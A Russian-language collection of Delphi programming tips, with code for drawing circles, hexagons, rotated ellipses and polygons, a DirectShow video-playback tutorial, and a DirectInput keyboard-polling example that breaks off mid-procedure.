Как работать с DWG файлами (AutoCAD)?


Как начертить круг?

{ ... }

implementation

{$R *.DFM}

uses
  Math;

procedure DrawCircle(CenterX, CenterY, Radius: Integer; Canvas: TCanvas; Color:
  TColor);

  procedure PlotCircle(x, y, x1, y1: Integer);
  begin
    Canvas.Pixels[x + x1, y + y1] := Color;
    Canvas.Pixels[x - x1, y + y1] := Color;
    Canvas.Pixels[x + x1, y - y1] := Color;
    Canvas.Pixels[x - x1, y - y1] := Color;
    Canvas.Pixels[x + y1, y + x1] := Color;
    Canvas.Pixels[x - y1, y + x1] := Color;
    Canvas.Pixels[x + y1, y - x1] := Color;
    Canvas.Pixels[x - y1, y - x1] := Color;
  end;

var
  x, y, r: Integer;
  x1, y1, p: Integer;
begin
  x := CenterX;
  y := CenterY;
  r := Radius;
  x1 := 0;
  y1 := r;
  p := 3 - 2 * r;
  while (x1 < y1) do
  begin
    plotcircle(x, y, x1, y1);
    if (p < 0) then
      p := p + 4 * x1 + 6
    else
    begin
      p := p + 4 * (x1 - y1) + 10;
      y1 := y1 - 1;
    end;
    x1 := x1 + 1;
  end;
  if (x1 = y1) then
    plotcircle(x, y, x1, y1);
end;

Used like this:

procedure TForm1.Button1Click(Sender: TObject);
begin
  DrawCircle(ClientWidth div 2, ClientHeight div 2, Min(ClientWidth div 2,
    ClientHeight div 2), Canvas, clBlack);
  {Add Math to the uses clause for the Min function}
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как начертить hexagon?

procedure PlotPolygon(const Canvas: TCanvas; const N: Integer; const R: Single;
  const XC: Integer; const YC: Integer);
type
  TPolygon = array of TPoint;
var
  Polygon: TPolygon;
  I: Integer;
  C: Extended;
  S: Extended;
  A: Single;
begin
  SetLength(Polygon, N);
  A := 2 * Pi / N;
  for I := 0 to (N - 1) do
  begin
    SinCos(I * A, S, C);
    Polygon[I].X := XC + Round(R * C);
    Polygon[I].Y := YC + Round(R * S);
  end;
  Canvas.Polygon(Polygon);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  W: Single;
  H: Single;
  X: Integer;
  Y: Integer;
const
  N = 6;
  R = 10;
begin
  W := 1.5 * R;
  H := R * Sqrt(3);
  for X := 0 to Round(ClientWidth / W) do
    for Y := 0 to Round(ClientHeight / H) do
      if Odd(X) then
        PlotPolygon(Canvas, N, R, Round(X * W), Round((Y + 0.5) * H))
      else
        PlotPolygon(Canvas, N, R, Round(X * W), Round(Y * H));
end;

unit HexGrid;

interface

uses
  Windows, Messages, SysUtils, Classes, Controls, ExtCtrls, Math;

type

  TOrientation = (hxVertical, hxhorizontal);

  THexGrid = class(TCustomPanel)
  private
    FOrientation: TOrientation;
    FHexSize: Integer;
    FPoints: array[0..5] of TPoint;
    FDisplayCaption: Boolean;
    procedure ChangedDimensions;
    procedure SetOrientation(Value: TOrientation);
    procedure SetHexSize(const Value: Integer);
    procedure DrawVerticalGrid;
    procedure DrawhorizontalGrid;
    procedure SetDisplayCaption(Value: Boolean);
  protected
  public
    constructor Create(AOwner: TComponent); override;
    procedure Paint; override;
    property Orientation: TOrientation read FOrientation write SetOrientation;
  published
    property Align;
    property Alignment;
    property Anchors;
    property AutoSize;
    property BevelInner;
    property BevelOuter;
    property BevelWidth;
    property BiDiMode;
    property BorderWidth;
    property BorderStyle;
    property Caption;
    property Color;
    property Constraints;
    property Ctl3D;
    property UseDockManager default True;
    property DockSite;
    property DragCursor;
    property DragKind;
    property DragMode;
    property Enabled;
    property FullRepaint;
    property Font;
    property Locked;
    property ParentBiDiMode;
    property ParentColor;
    property ParentCtl3D;
    property ParentFont;
    property ParentShowHint;
    property PopupMenu;
    property ShowHint;
    property TabOrder;
    property TabStop;
    property Visible;
    property OnCanResize;
    property OnClick;
    property OnConstrainedResize;
    property OnContextPopup;
    property OnDockDrop;
    property OnDockOver;
    property OnDblClick;
    property OnDragDrop;
    property OnDragOver;
    property OnEndDock;
    property OnEndDrag;
    property OnEnter;
    property OnExit;
    property OnGetSiteInfo;
    property OnMouseDown;
    property OnMouseMove;
    property OnMouseUp;
    property OnResize;
    property OnStartDock;
    property OnStartDrag;
    property OnUnDock;
    property Left;
    property Top;
    property Width;
    property Height;
    property Cursor;
    property Hint;
    property HelpType;
    property HelpKeyword;
    property HelpContext;
    property HexSize: Integer read FHexSize write SetHexSize;
    property DisplayCaption: Boolean read FDisplayCaption write SetDisplayCaption;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [THexGrid]);
end;

procedure THexGrid.ChangedDimensions;
var
  I: Integer;
begin
  for I := 0 to High(FPoints) do
  begin
    FPoints[I].X := 0;
    FPoints[I].Y := 0;
  end;
  if Orientation = hxhorizontal then
  begin
    FPoints[0].X := Hexsize div 4;
    FPoints[1].X := HexSize - (Hexsize div 4);
    FPoints[2].X := HexSize;
    FPoints[2].Y := HexSize div 2;
    FPoints[3].X := HexSize - (Hexsize div 4);
    FPoints[3].Y := HexSize;
    FPoints[4].X := HexSize div 4;
    FPoints[4].Y := HexSize;
    FPoints[5].Y := HexSize div 2;
  end;
  if Orientation = hxVertical then
  begin
    FPoints[0].X := HexSize div 2;
    FPoints[1].X := HexSize;
    FPoints[1].Y := HexSize div 4;
    FPoints[2].X := HexSize;
    FPoints[2].Y := HexSize - (Hexsize div 4);
    FPoints[3].X := HexSize div 2;
    FPoints[3].Y := HexSize;
    FPoints[4].Y := HexSize - (Hexsize div 4);
    FPoints[5].Y := HexSize div 4;
  end;
end;

procedure THexGrid.SetOrientation(Value: TOrientation);
begin
  if FOrientation <> Value then
  begin
    FOrientation := Value;
    ChangedDimensions;
    invalidate;
  end;
end;

procedure THexGrid.SetHexSize(const Value: Integer);
begin
  if FHexSize <> Value then
  begin
    FHexSize := Value;
    ChangedDimensions;
    invalidate;
  end;
end;

constructor THexGrid.Create(AOwner: TComponent);
begin
  inherited;
  FOrientation := hxVertical;
  FHexSize := 64;
  ChangedDimensions;
  Width := 128;
  Height := 128;
end;

procedure THexGrid.Paint;
begin
  inherited;
  if Orientation = hxhorizontal then
    DrawhorizontalGrid
  else
    DrawVerticalGrid;
end;

procedure THexGrid.DrawhorizontalGrid;
var
  I: Integer;
  X, Y, Offset: Integer;
  FHex: array[0..5] of TPoint;
begin
  X := 0;
  Y := 0;
  Offset := 0;
  while X + HexSize < Width do
  begin
    Y := 0;
    while Y + HexSize < Height do
    begin
      with Self.Canvas do
      begin
        for I := 0 to High(FPoints) do
        begin
          FHex[I].X := X + FPoints[I].X;
          FHex[I].Y := Y + FPoints[I].Y + Offset;
        end;
        Polygon(FHex);
      end;
      Y := Y + HexSize;
    end;
    if Offset = 0 then
      Offset := (0 - (HexSize div 2))
    else
      Offset := 0;
    X := X + (HexSize - (HexSize div 4));
  end;
end;

procedure THexGrid.DrawVerticalGrid;
var
  I: Integer;
  X, Y, Offset: Integer;
  FHex: array[0..5] of TPoint;
begin
  X := 0;
  Y := 0;
  Offset := 0;
  while Y + HexSize < Height do
  begin
    X := 0;
    while X + HexSize < Width do
    begin
      with Self.Canvas do
      begin
        for I := 0 to High(FPoints) do
        begin
          FHex[I].X := X + FPoints[I].X + Offset;
          FHex[I].Y := Y + FPoints[I].Y;
        end;
        Polygon(FHex);
      end;
      X := X + HexSize;
    end;
    if Offset = 0 then
      Offset := (0 - (HexSize div 2))
    else
      Offset := 0;
    Y := Y + (HexSize - (HexSize div 4));
  end;
end;

procedure THexGrid.SetDisplayCaption(Value: Boolean);
begin
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как повернуть элипс?

procedure TForm1.EllipseAngle(ACanvas: TCanvas; XCenter, YCenter,
  XRadius, YRadius: Integer; Angle: Integer);
const
  Step = 49;
var
  RX, RY: Integer;
  i: Integer;
  Theta: Double;
  SAngle, CAngle: Double;
  RotAngle: Double;
  XC, YC: Integer;
  Kf: Double;
  X, Y: Double;
  XRot, YRot: Integer;
  Points: array[0..Step] of TPoint;
begin
  RotAngle := Angle * PI / 180;
  Kf := (360 * PI / 180) / Step;
  SAngle := Sin(RotAngle);
  CAngle := Cos(RotAngle);
  for i := 0 to Step do
  begin
    Theta := i * Kf;
    X := XCenter + XRadius * Cos(Theta);
    Y := YCenter + YRadius * Sin(Theta);
    XRot := Round(XCenter + (X - XCenter) * CAngle - (Y - YCenter) * SAngle);
    YRot := Round(YCenter + (X - XCenter) * SAngle + (Y - YCenter) * CAngle);
    Points[i] := Point(XRot, YRot);
  end;
  ACanvas.Polygon(Points);
end;

procedure RotatedEllipse(aCanvas: TCanvas; X1, Y1, X2, Y2: Integer);
var
  T, O: TXForm; {in unit Windows}
begin
  { ... }
  SetGraphicsMode(aCanvas.Handle, GM_Advanced);
  GetWorldTransform(aCanvas.Handle, O);
  {Angle in degree}
  T.eM11 := 1 * Cos(w / 360 * Pi * 2);
  T.eM22 := 1 * Cos(w / 360 * Pi * 2);
  T.eM12 := 1 * Sin(w / 360 * Pi * 2);
  T.eM21 := 1 * -Sin(w / 360 * Pi * 2);
  T.eDX := Round((X1 + X2) / 2);
  T.eDY := Round((Y1 + Y2) / 2);
  ModifyWorldTransform(aCanvas.Handle, T, MWT_LEFTMULTIPLY);
  Canvas.Ellipse(X1, Y1, X2, Y2);
  SetWorldTransform(TheDraw.Handle, O);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как изменить размеры полигона?

{ ... }
type
  TPolygon = array of TPoint;

procedure ZoomPolygon(var Polygon: TPolygon; const Center: TPoint; const Scale: Double);
var
  I: Integer;
begin
  for I := 0 to High(Polygon) do
  begin
    Polygon[I].X := Round(Scale * (Polygon[I].X - Center.X) + Center.X);
    Polygon[I].Y := Round(Scale * (Polygon[I].Y - Center.Y) + Center.Y);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Создание PolyPolygon используя массив точек?

Polygon - метод компонента TCanvas получает в качестве параметра динамический массив точек. Функция PolyPolygon() из Windows GDI получает указатель на массив точек.

procedure TForm1.Button1Click(Sender: TObject);
var
  ptArray: array[0..9] of TPOINT;
  PtCounts: array[0..1] of integer;
begin
  PtArray[0] := Point(0, 0);
  PtArray[1] := Point(0, 100);
  PtArray[2] := Point(100, 100);
  PtArray[3] := Point(100, 0);
  PtArray[4] := Point(0, 0);
  PtCounts[0] := 5;
  PtArray[5] := Point(25, 25);
  PtArray[6] := Point(25, 75);
  PtArray[7] := Point(75, 75);
  PtArray[8] := Point(75, 25);
  PtArray[9] := Point(25, 25);
  PtCounts[1] := 5;
  PolyPolygon(Form1.Canvas.Handle,PtArray, PtCounts, 2);
end;


DerectX, OpenGL

Cодержание раздела:

Что такое DirectShow?
Пример использования DirectInput для опроса клавиатуры
OpenGL - радиальное размытие
Экспорт анимированных 3D персонажей из 3D STUDIO MAX 3.0 для DELPHI и OpenGL
Работа с OpenGL - Введение
Работа с OpenGL - Минимальная программа
О DelphiX
DirectX и Delphi - введение
DirectX и Delphi
DirectX для начинающих. Считывание и запись
DirectX для начинающих. Часть вторая
DirectX (Игровой SDK)
Blitting, Спрайты и Анимация
3d engines для Дельфи
OpenGL: Каким обpазом выбиpать pазмеp шpифта


Что такое DirectShow?

На этот раз речь пойдет о DirectShow. Для чего нам может понадобиться DirectShow?
DirectShow - это архитектура для воспроизведения, перехвата и обработки потоков мультимедиа. Звучит туманно? Поясняю - c помощью этого API можно:
проигрывать мультимедийные файлы различного формата, такие как MPEG (Motion Picture Experts Group), AVI (Audio-Video Interleaved), MP3 (MPEG Audio Layer-3), DVD и конечно WAV;
перехватывать видео-поток с различного рода TV-карт, видеокамер и т.п.;
создавать нестандартные обработчики мультимедиа-потоков и свои собственные форматы файлов (что, впрочем, вряд ли понадобится простым смертным);
обращаться непосредственно к видео и аудио потокам, чтобы выводить их на Surface DirectDraw (что для нас как раз интересно).
Звучит заманчиво. Но для чего это может понадобиться, спросите Вы, вспоминая родной и привычный MediaPlayer. Представьте себе, что Вы запрограммировали трехмерный мир, с анимированными спрайтами, трехмерными объектами и т.п. И в отсвете выстрелов очередной "бродилки-стрелялки", пораженный пользователь нового шедевра, видит видео клип, воспроизводимый прямо на костях очередного пораженного монстра. :-) Каково? Убедил? Тогда продолжим.
Кстати, раз уж упомянули DirectDraw - DirectShow интегрирован с DirectX так, что использует DirectDraw и DirectSound для вывода изображения и звука, и, при наличии аппаратного ускорения, автоматически им воспользуется.

Для работы с DirectShow Вам понадобятся:
иметь некоторое представление о технологии COM (Component Object Model) - хотя быть знатоком этой технологии вовсе не обязательно - просто достаточно знать, что для получения COM-интерфейса нужно вызвать QueryInterface;
скачать заголовочные файлы DirectShow API, переведенные на Delphi в рамках проекта JEDI - (http://www.delphi-jedi.org/DelphiGraphics/DirectX/DX5Media.zip) и либо поместить их в каталог Delphi\Lib либо добавить путь к каталогу, в котором они находятся в установках Delphi Library Path.
DirectShow скорее всего уже установлен на Вашем компьютере - он входит в стандартную поставку Windows 9x, Windows NT 4 (Service Pack 3 и выше), Windows 2000 (если Вы программируете для UNIX или DOS - то я вообще не понимаю зачем Вы читаете эту статью).

Основы DirectShow

В концепции DirectShow мультимедийные данные - это поток, который проходит через несколько обрабатывающих блоков. Блоки, обрабатывающие поток данных, передают данные по цепочке друг другу, таким образом можно представить себе несколько "устройств", каждое из которых выполняет какую-то обработку данных и передает их соседнему "устройству". Эти "устройства" или "блоки обработки" данных называют фильтрами. Цепочка, по которой передаются данные, содержит несколько фильтров, связанных определенным образом.
В DirectShow имеются готовые фильтры, из которых, словно из детских кубиков, программист может выстроить ту или иную цепочку обработку данных, кроме того, конечно, можно создать свои, нестандартные фильтры.
Для создания такой "цепочки обработки" (которая, кстати, официально называются Filter Graph - "граф фильтров" или, в несколько вольном переводе - "схема соединения фильтров"), так вот для создания схемы соединения фильтров, предназначен самый базовый и лежащий в основе всех основ компонет DirectShow, под названием Filter Graph Manager - Менеджер Графа Фильтров.
Например, программа показывающая видео из AVI-файла может построить такой граф фильтров:

В этом примере пять фильтров, первый (File Source) просто читает данные с диска, второй фильтр (AVI Splitter) разделяет данные на кадры и передает упакованные видео данные фильтру AVI Decompressor, который их распаковывает и передает фильтру Default DirectSound Device, выводящему звук. AVI Decompressor передает распакованные данные фильтру Video Renderer, который выводит кадры видео на экран.
Фильтры делятся на три типа:
Фильтры-источники (Source filters) - эти фильтры просто получают данные из какого-то источника, с диска (как фильтр File Source (Async) на рисунке), с CD или DVD дисковода или с TV- карты или карты, к которой подключена цифровая видеокамера.
Фильтры-преобразователи (Transform filters) - эти фильтры как видно из названия преобразуют поток данных, проходящий через них каким-либо образом, например - разделяет поток данных на кадры, производят декомпрессию и т.п. На нашем рисунке к таким фильтрам относятся AVI Splitter и AVI Decompressor.
Фильтры вывода (Renderer filters) - фильтры, которые получают полностью обработанные данные и выводят их на монитор, звуковую карту, пишут на диск или выводят на еще какое-нибудь устройство.
Итак из фильтров-кубиков можно высстраивать граф. Делается это с помощью интерфейса IGraphBuilder. Создать объект типа IGraphBuilder можно так:

CoCreateInstance(CLSID_FilterGraph,nil,CLSCTX_INPROC_SERVER,IID_IGraphBuilder,MyGraphBuilder);

Здесь переменная MyGraphBuilder имеет тип IGraphBuilder; идентификатор класса CLSID_FilterGraph и IID_IGraphBuilder обьявлены в файле DShow.pas, поэтому не забудьте добавить

uses DShow.pas

Итак, интерфейс IGraphBuilder получен. Можно построить граф фильтров, такой, какой нам нужно. Впрочем, все не так сложно, IGraphBuilder достаточно интеллектуален, он может сам, автоматически, построить граф, в зависимости от того какие файлы мы собираемся воспроизводить. Интерфейс IGraphBuilder имеет метод RenderFile, который получает имя файла в качестве параметра и, в зависимости от типа файла (которое определяется по расширению и по специальным сигнатурам в файле), сканирует реестр, в поисках необходимой для построения графа информации, создает необходимые фильтры и строит граф, предназначенный для воспроизведения файлов этого типа (WAV, AVI, MP3, MPG и т.д.).

После построения графа DirectShow готов к воспроизведению. Для управления потоком данных через граф обработки предназначен интерфейс IMediaControl - он имеет методы Run, Pause и Stop (названия говорят сами за себя)

Давайте попробуем все это на примере:

uses
  ... DShow, ActiveX,ComObj;

var
  MyGraphBuilder : IGraphBuilder;
  MyMediaControl : IMediaControl;
begin

CoInitialize(nil);
{получаем интерфейс IGraphBuilder}
CoCreateInstance(CLSID_FilterGraph,nil,CLSCTX_INPROC_SERVER,IID_IGraphBuilder,MyGraphBuilder);

{вызываем RenderFile - граф фильтров строится автоматически}
MyGraphBuilder.RenderFile('cool.avi',nil);

{получаем интерфейс ImediaControl}
MyGraphBuilder.QueryInterface(IID_IMediaControl,MyMediaControl);

{Примечание - MyMediaControl - переменная типа IMediaControl}

{проигрываем видео}
MyMediaControl.Run;

{ждем пока пользователь не нажмет ОК (видео воспроизводится в отдельном (thread) потоке)}
ShowMessage('Нажмите OК');

CoUninitialize;

end;

Если Вы не поленитесь скопировать этот кусок кода в Delphi и запустить его то заметите, что avi-файл проигрывается в отдельном окошке, которое не принадлежит нашему приложению. Для управления окошком, в котором воспроизводится видео предназначен специальный интерфейс IVideoWindow. Получить этот интерфейс можно из экземпляра IGraphBuilder, вызвав QueryInterface и передав в качестве идентификатора интерфейса константу IID_IvideoWindow.
Интерфейс IVideoWindow содержит методы для управления заголовком, стилем, местоположением и размерами окошка в котором проигрывается видео.
Давайте попробуем переделать наш пример так, чтобы видео выводилось не в отдельном окошке, а, скажем на компоненте TPanel, расположенном в нашей форме. Добавьте на форму компонет TPanel, пусть он называется Panel1.

uses
  ... DShow, ActiveX,ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  MyGraphBuilder : IGraphBuilder;
  MyMediaControl : IMediaControl;
  VideoWindow : IVideoWindow;

begin

CoInitialize(nil);
{получаем интерфейс IGraphBuilder}
CoCreateInstance(CLSID_FilterGraph,nil,CLSCTX_INPROC_SERVER,IID_IGraphBuilder,MyGraphBuilder);

{вызываем RenderFile - граф фильтров строится автоматически}
MyGraphBuilder.RenderFile('C:\Program Files\Borland\Delphi5\Demos\Coolstuf\cool.avi',nil);

{получаем интерфейс ImediaControl}
MyGraphBuilder.QueryInterface(IID_IMediaControl,MyMediaControl);
{Примечание - MyMediaControl - переменная типа IMediaControl}

{получаем интерфейс IVideoWindow}
MyGraphBuilder.QueryInterface(IID_IVideoWindow,VideoWindow);
{Примечание - VideoWindow - переменная типа IVideoWindow}

{располагаем окошко с видео на панель}
VideoWindow.Set_Owner(Self.Panel1.Handle);
VideoWindow.Set_WindowStyle(WS_CHILD OR WS_CLIPSIBLINGS);
VideoWindow.SetWindowPosition(0,0,Panel1.ClientRect.Right,Panel1.ClientRect.Bottom);

{проигрываем видео}
MyMediaControl.Run;

ShowMessage('Нажмите OК');

CoUninitialize;
end;

Надеюсь это проще, чем Вы ожидали?

DirectShow и DirectX

Для того, чтобы использовать DirectShow совместно с DirectShow нужно разобраться с понятием Multimedia Streaming (потоки мультимедиа).
Multimedia Streaming - это архитектура, используемая в DirectShow для облегчения жизни программиста. Эта архитектура позволяет работать с мультимедиа данными, как с абстрактным потоком, не вдаваясь в подробности форматов хранения мультимедиа-файлов или специфику устройств-источников мультимедиа. Используя эту архитектуру, программист концентрируется не на расшифровке и преобразовании данных, а на управлении потоком данных, кадрами видео или аудио семплами.
На рисунке изображена иерархия объектов Multimedia Streaming

На вершине иерархии находится базовый объект Multimedia Stream, который является контейнером для объектов Media Stream. Объект Multimedia Stream может содержать один или несколько объектов Media Stream. В то время как каждый объект типа Media Stream предназначен для работы с данными какого-то одного типа (видео, аудио и т.п.) - Multimedia Stream - просто содержит методы для обращения к содержащимся в нем объектам Media Stream и не зависит от типа данных.
Объект типа Stream Sample, доступ к которому можно получить из Media Stream - позволяет управлять непосредственно элементами мультимедийного потока (для видео каждый Sample - это кадр видеоизображения, для аудио он может содержать несколько семплов звука).
Однако хватит теории. Давайте перейдем к делу. Попробуем создать необходимые объекты, чтобы вывести видео на Surface DirectX. Для этого нам понадобится обращаться к кадрам видео изображения (т.е. к обьекту типа Stream Sample). Значит, придется пройтись по всей цепочке иерархии, чтобы добраться до обьектов StreamSample. Вообще цепочка обьектов, которую предстоит создать выглядит так:
IAMMultiMediaStream
+ IDirectDrawMediaStream
+ IDirectDrawStreamSample

Сравните это с нашим рисунком. Как видите на вершине находится объект типа MultiMediaStream, который будет содержать MediaStream конкретного, нужного нам типа (IDirectDrawMediaStream), а уж с помощью него мы получим доступ к конкретным видео кадрам через интерфейс IDirectDrawStreamSample.
Итак сейчас мы создадим объект типа IAMMultiMediaStream. Этот интерфейс унаследован от IMultimediaStream и содержит, кроме прочего, функцию OpenFile, которая автоматически строит граф фильтров для воспроизведения файла.

CoCreateInstance(CLSID_AMMultiMediaStream, nil, CLSCTX_INPROC_SERVER, IID_IAMMultiMediaStream, AMStream);

Здесь переменная AMStream имеет тип IAMMultiMediaStream.
Мы создали контейнер для мультимедийных потоков. Сверяемся с рисунком - мы на верхнем уровне иерархии. У нас есть объект типа IMultimediaStream - теперь в этот контейнер нужно проинициализировать и добавить один или несколько мультимедиа потоков, нужного нам типа. Сначала инициализация:

AMStream.Initialize(STREAMTYPE_READ,
  AMMSF_NOGRAPHTHREAD, nil);

При инициализации указываем, что будут создаваться мультимедиа потоки для чтения, передав значение STREAMTYPE_READ (другие варианты STREAMTYPE_WRITE, STREAMTYPE_TRANSFORM).

Создадим теперь мультимедиа потоки для видео и звука:

AMStream.AddMediaStream(DDraw, MSPID_PrimaryVideo, 0, NewMediaStremVideo);
    AMStream.AddMediaStream(nil, MSPID_PrimaryAudio, AMMSF_ADDDEFAULTRENDERER, NewMediaStremAudio);

Вызываем метод OpenFile - файл загружается, и автоматически строится граф фильтов:

AMStream.OpenFile('cool.avi', 0);

Осталось направить видео поток мультимедиа поток на Surface. Вот процедура, которая делает это:

procedure TForm1.RenderStreamToSurface(Surface : IDirectDrawSurface; MMStream : IMultiMediaStream);
var
PrimaryVidStream : IMediaStream;
DDStream  :  IDirectDrawMediaStream;
Sample : IDirectDrawStreamSample;
RECT : TRect;
ddsd :  TDDSURFACEDESC;
Z : DWORD;
begin
    MMStream.GetMediaStream(MSPID_PrimaryVideo, PrimaryVidStream);
    PrimaryVidStream.QueryInterface(IID_IDirectDrawMediaStream, DDStream);
    ddsd.dwSize := sizeof(ddsd);
    DDStream.GetFormat(ddsd, Palitra, ddsd, Z);
    rect.top:=(480-ddsd.dwHeight)div 2; rect.left:=(640 - ddsd.dwWidth) div 2;
    rect.bottom := rect.top+ddsd.dwHeight;    rect.right := rect.left+ddsd.dwWidth;
    DDStream.CreateSample(Surface, Rect, 0, Sample);
    MMStream.SetState(STREAMSTATE_RUN);
end;

Как видите, в этой процедуре сначала получаем интерфейс типа IDirectDrawMediaStream (соответствующий второму уровню иерархии на нашем рисунке), потом из него получаем объект типа IDirectDrawStreamSample (переменная Sample), который соответствует третьему уровню иерархии нашего рисунка.

Теперь остается вызывать в цикле (в демо-программе это делается по таймеру - здесь для простоты опускаем):

hr:=Sample.Update(0 , 0, nil, 0);

   if hr = $40003 {MS_S_ENDOFSTREAM} then
     MMStream.Seek(0);

Метод IDirectDrawStreamSample.Update выводит очередной кадр на Surface. При достижении конца потока он вернет ошибку с кодом $40003 (MS_S_ENDOFSTREAM), я в этом случае просто перематываю поток к началу, методом Seek.

Полностью программу, фрагменты кода из которой здесь приведены можно скачать здесь <<URL>>.
В этой программе инициализируется DirectDraw, создается Surface , а затем на него выводится видео из avi-файла.

Пока все о DirectDraw - надеюсь эта информация послужит для Вас отправной точкой в написании чего-то потрясающего! :-)

Автор: JINX (Elchin Aziz Ali OglI)
EMail: aziz@telebot.com, error@softhome.net
CopyLeft 2000.

Взято с сайта Анатолия Подгорецкого http://podgoretsky.com
по материалам fido7.ru.delphi.*


Пример использования DirectInput для опроса клавиатуры

{******************************************************************************
 *                                                                            *
 *  Придумал и написал Кода Виктор, Март 2002                                 *
 *                                                                            *
 *  Файл:       main.pas                                                      *
 *  Содержание: Пример использования DirectInput для опроса клавиатуры        *
 *                                                                            *
 ******************************************************************************}
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, ComCtrls,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    gb1: TGroupBox;
    gb2: TGroupBox;
    gb3: TGroupBox;
    lbRemark: TLabel;
    imView: TImage;
    rbWM: TRadioButton;
    rgDI8: TRadioButton;
    lbKeys: TLabel;
    lbIndex: TLabel;
    btnClose: TButton;
    procedure FormCreate(Sender: TObject);
    procedure btnCloseClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure Hook( var Msg: TMsg; var Handled: Boolean );
    procedure Idle( Sender: TObject; var Done: Boolean );
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
  DirectInput8;

//------------------------------------------------------------------------------
// Константы и глобальные переменные
//------------------------------------------------------------------------------
var
  lpDI8:        IDirectInput8       = nil;
  lpDIKeyboard: IDirectInputDevice8 = nil;

  nXPos,
  nYPos:         Integer;

//------------------------------------------------------------------------------
// Имя:      InitDirectInput()
// Описание: Производит инициализацию объектов DirectInput в программе
//------------------------------------------------------------------------------
function InitDirectInput( hWnd: HWND ): Boolean;
begin
  Result := FALSE;

  // Создаём главный объект DirectInput
  if FAILED( DirectInput8Create( GetModuleHandle( 0 ), DIRECTINPUT_VERSION,
                                 IID_IDirectInput8, lpDI8, nil ) ) then
     Exit;
  lpDI8._AddRef();

  // Создаём объект для работы с клавиатурой
  if FAILED( lpDI8.CreateDevice( GUID_SysKeyboard, lpDIKeyboard, nil ) ) then
     Exit;
  lpDIKeyboard._AddRef();

  // Устанавливаем предопределённый формат для "простогй клавиатуры". В боль-
  // шинстве случаев можно удовлетвориться и установками, заданными в структуре
  // c_dfDIKeyboard по умолчанию, но в особых случаях нужно заполнить её самому
  if FAILED( lpDIKeyboard.SetDataFormat( @c_dfDIKeyboard ) ) then
     Exit;

  // Устанавливаем уровень кооперации. Подробности о флагах смотри в DirectX SDK
  if FAILED( lpDIKeyboard.SetCooperativeLevel( hWnd, DISCL_BACKGROUND or
                                                     DISCL_NONEXCLUSIVE ) ) then
     Exit;

  // Захвытываем клавиатуру
  lpDIKeyboard.Acquire();

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      ReleaseDirectInput()
// Описание: Производит удаление объектов DirectInput
//------------------------------------------------------------------------------
procedure ReleaseDirectInput();
begin
  // Удаляем объект для работы с клавиатурой
  if lpDIKeyboard <> nil then // Можно проверить if Assigned( DIKeyboard )
  begin
    lpDIKeyboard.Unacquire(); // Освобождаем устройство
    lpDIKeyboard._Release();
    lpDIKeyboard := nil;
  end;

  // Последним удаляем главный объект DirectInput
  if lpDI8 <> nil then
  begin
    lpDI8._Release();
    lpDI8 := nil;
  end;
end;

//------------------------------------------------------------------------------
// Имя:      UpdateKeyboardState()
// Описание: Обрабатывает клавиатурный ввод методом DirectInput
//------------------------------------------------------------------------------
function UpdateKeyboardState(): Boolean;
var
  bKeyBuffer: array [0..255] of Byte;
  i:          Integer;

  hr:         HRESULT;
begin
  Result := FALSE;

  // Производим опрос состояния клавиш, данные записываются в буфер-массив
  if lpDIKeyboard.GetDeviceState( SizeOf( bKeyBuffer ), @bKeyBuffer ) = DIERR_INPUTLOST then
  begin
    // Захватываем снова
    lpDIKeyboard.Acquire();
    // Производим повторный опрос
    if FAILED( lpDIKeyboard.GetDeviceState( SizeOf( bKeyBuffer ), @bKeyBuffer ) ) then
       Exit;
  end;

  // Изменяем координаты курсора
  if bKeyBuffer[ DIK_NUMPAD4 ] = $080 then Dec( nXPos );
  if bKeyBuffer[ DIK_NUMPAD6 ] = $080 then Inc( nXPos );
  if bKeyBuffer[ DIK_NUMPAD8 ] = $080 then Dec( nYPos );
  if bKeyBuffer[ DIK_NUMPAD2 ] = $080 then Inc( nYPos );

  // Выводим список кодов нажатых клавиш
  with Form1.lbKeys do
  begin
    Caption := '';

    for i := 0 to 255 do
    if bKeyBuffer[ i ] = $080 then
    if i <= 9 then Caption := Caption + Format( '0%d ', [ i ] )
              else Caption := Caption + Format( '%d ', [ i ] );
  end;

  Result := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.Hook()
// Описание: Обрабатывает клавиатурный ввод подобно главной функции окна
//------------------------------------------------------------------------------
procedure TForm1.Hook( var Msg: TMsg; var Handled: Boolean );
var
  i: Integer;
begin
  if Msg.message <> WM_KEYDOWN then
     Exit;

  // Изменяем координаты курсора
  case Msg.wParam of
     VK_NUMPAD4: Dec( nXPos );
     VK_NUMPAD6: Inc( nXPos );
     VK_NUMPAD8: Dec( nYPos );
     VK_NUMPAD2: Inc( nYPos );
  end;

  // Выводим код нажатой клавиши
  with Form1.lbKeys do
  begin
    Caption := '';

    // Бессмысленно писать for i := 0 to 255 do ... При обработке сообщения
    // WM_KEYDOWN мы можем узнать состояние только одной клавиши - ведь массив
    // не используется. Справедливоси ради надо сказать, что в Windows есть
    // функция GetKeyboardState(), работающая с массивом и очень быстро
    if Msg.wParam <= 9 then Caption := Caption + Format( '0%d ', [ Msg.wParam ] )
                       else Caption := Caption + Format( '%d ', [ Msg.wParam ] );
  end;

  // Блокируем дальнейшую обработку события
  Handled := TRUE;
end;

//------------------------------------------------------------------------------
// Имя:      TForm1.Idle()
// Описание: Вызывает функцию опроса состояния клавиатуры
//------------------------------------------------------------------------------
procedure TForm1.Idle( Sender: TObject; var Done: Boolean );
var
  i: Integer;
begin
  if rbWM.Checked then Application.OnMessage := Hook
  else
  begin
    Application.OnMessage := nil;

    // Если данные от клавиатуры не получены
    if not UpdateKeyboardState() then
    begin
       MessageBox( Form1.Handle, 'Потеряно устройство управления!',
                  'Ошибка!', MB_ICONHAND );
       Form1.Close();
    end;
  end;

